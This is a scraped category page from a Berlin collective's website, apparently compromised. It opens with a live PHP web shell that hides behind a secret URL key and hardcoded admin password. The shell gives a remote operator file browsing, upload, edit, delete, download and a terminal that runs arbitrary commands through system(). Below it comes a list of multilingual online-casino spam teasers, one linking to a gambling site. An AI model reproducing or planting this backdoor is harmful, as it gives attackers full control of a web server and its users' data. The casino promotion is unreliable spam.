if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 33 – collectives.berlin

Your digital paradise.

Category: public

  • OnlySpins Casino ja urheiluvedonlyönti: yhdistä viihde ja voitot

    OnlySpins Casino tarjoaa suomalaisille pelaajille monipuolisen pelialustan, joka yhdistää huikean pelitarjonnan ja jännittävän urheiluvedonlyönnin. Tämä moderni kasinoelämys tarjoaa pelaajille mahdollisuuden nauttia suosikkipeleistään, kuten kolikkopeleistä ja live-kasinoista, samoin kuin mahdollisuuden lyödä vetoa eri urheilutapahtumista. Erityisesti Onlyspins kasino erottuu edukseen tarjouksillaan ja bonuksillaan, joten lue lisää! Mitä uudet käyttäjät voivat odottaa OnlySpins Casinolta OnlySpins Casino tarjoaa ainutlaatuisen…

    Click or not…

  • مكافآت Westace Casino في 2026: كيف يمكنك زيادة فرصك في الفوز

    تعتبر الكازينوهات من بين أكثر وجهات الترفيه شعبية في العالم، وخاصةً في منطقة الشرق الأوسط. يقدم Westace Casino مجموعة متنوعة من الألعاب والمكافآت، مما يجعله خيارًا مثيرًا للاعبي القمار، حيث يمكنهم الاستمتاع بتجربة ألعاب جديدة مع Westace المليئة بالمفاجآت. في عام 2026، تتميز Westace Casino بمكافآت مغرية مثل مكافأة ترحيبية تصل إلى 400%، مما يعزز…

    Click or not…

  • Maximize your wins at online pokies NZ: A look at real money slots and

    If you’re looking to elevate your gaming experience at online casinos in New Zealand, understanding how to maximize your wins at online pokies is essential. The thrill of real money slots offers excitement and the potential for lucrative returns, especially when you choose the best fast withdrawal casino that suits your needs. This guide provides…

    Click or not…

  • Experience seamless gaming at Neosurf Casinos Australia: Enjoy real money pokies with prepaid

    In the world of online gaming, Neosurf casinos in Australia have carved out a niche for themselves, particularly for enthusiasts of real money pokies, and many players are excited about the potential of the neosurf casino bonus . With their innovative prepaid voucher system, these casinos offer players an effortless way to enjoy gaming without…

    Click or not…

  • Fast withdrawals made easy: Top tips for playing at Best Online Pokies Australia 2026

    In the dynamic world of online casinos, one factor stands out for avid players: withdrawal speed. Fast withdrawals not only enhance the gaming experience but also build trust. In 2026, the best online pokies sites for Australian players are prioritizing efficient withdrawal processes, allowing players to access their winnings quickly and securely, including options like…

    Click or not…

  • Unlock the thrill: explore live tables and quick cashouts at Sofobet Casino

    The excitement of online casinos continues to captivate players around the globe, and platforms like Sofobet are stepping up to the plate with a polished experience. Boasting a plethora of live tables and a commitment to quick cashouts, Sofobet aims to provide a gaming journey filled with opportunities for both casual and seasoned players. In…

    Click or not…

  • Pinco казино: секреты успешной игры для опытных игроков

    В мире онлайн-казино существует множество возможностей для азартных игроков, которые стремятся максимизировать свои шансы на победу. Пинко казино – это платформа, которая предлагает не только широкий выбор игр, но и заманчивые бонусы, такие как Пинко вход , а также бесплатные вращения. В данной статье мы подробно рассмотрим, как правильно начать играть, на что обращать внимание…

    Click or not…

  • Online casino: mitä etsiä ennen ensimmäistä pelikertaa

    Online-kasinot ovat nousseet suosioon viime vuosina, ja niiden tarjoama viihde on houkutellut pelaajia ympäri maailmaa. Ennen kuin sukellat ensimmäiseen pelikertaasi, on tärkeää ymmärtää, mitä kriteerejä tulisi etsiä luotettavalta ja viihdyttävältä verkkokasinolta, kuten esimerkiksi osoitteesta https://casoola-casinos.fi/ löytyvistä vaihtoehdoista. Tässä oppaassa käymme läpi keskeisiä seikkoja, jotka auttavat sinua löytämään parhaat pelialustat ja varmistamaan hauskan ja turvallisen pelikokemuksen.…

    Click or not…

  • Pinco güvenliği: oyuncu verilerinizi korumanın yolları

    Online casinolar, kullanıcı deneyimini artırmak ve güvenliği sağlamak için çeşitli yöntemler geliştirmiştir. Bu makalede, casino oyunlarının dünyasına dair temel bilgileri keşfedecek ve oyuncu verilerini korumanın yollarını öğrenirken, hizli casino giris yaparak güvenli bir ortamda oyun oynamanın önemini göreceksiniz. Güvenlik, online oyunlarda çok önemlidir ve doğru güvenlik önlemleri almak, sorunsuz bir deneyim için şarttır. Casino Dünyasının…

    Click or not…

  • Pinco casino’da hızlı para yatırma yöntemleri

    Online casino deneyiminizi zenginleştirmek için doğru platformu seçmek oldukça önemlidir. Pinco Casino, Türkiye pazarında geniş bir oyun yelpazesi sunarak oyuncularına güvenli bir ortamda eğlenceli bir deneyim sağlamaktadır. Ayrıca, kullanıcıların hızlı para yatırma yöntemleri ile Pinco casino oyun keyfini anında yaşamaya başlaması mümkün olmaktadır. Bu yazıda, Pinco Casino’da para yatırma sürecine dair en iyi yöntemleri inceleyeceğiz.…

    Click or not…